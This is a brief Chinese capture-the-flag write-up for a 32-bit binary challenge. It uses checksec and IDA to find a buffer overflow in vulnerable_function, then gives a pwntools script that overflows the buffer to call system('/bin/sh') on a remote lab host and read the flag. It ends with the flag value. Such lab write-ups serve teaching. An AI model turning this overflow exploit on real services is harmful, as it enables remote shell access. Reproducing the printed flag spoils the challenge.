1、下载文件并开启靶机
2、在Linux中查看该文件信息
checksec 4
3、该文件是32位文件,用32位IDA打开该文件
3.1、shift+f12查看关键字符串
我们看到"/bin/sh"的地址为:x0804A024
3.2、双击关键字符串,按Ctrl+x,再f5进入main函数的反汇编代码
3.3、我们看到关键函数 vulnerable_function(),双击进入
3.4、我们看到buf溢出,双击buf查看字符串
buf:0x88
r返回值:0x4
3.5、我们没有看到system("/bin/sh"),只看到"/bin/sh"的地址,我们再查看system()函数的地址
我们Alt+t查找system()函数
看到main()函数中有个system(),地址为 :0x804849E
4、编译代码
#encoding=utf-8
from pwn import * #导入pwntools中pwn中所有内容
p = remote("111.200.241.244",53815) #链接服务器远程交互
p.sendline(b'a'*(0x88+0x4)+p32(0x804849E)+p32(0x804A024)) #覆盖buf,再覆盖到r,加上system()地址+"/bin/sh"地址
p.interactive() #反弹shell进行交互
ls #查看是否有flag文件
#有flag文件就查看flag文件里面的内容
cat flag
5、flag为:
cyberpeace{1541870e792555895beefb6f6022179d}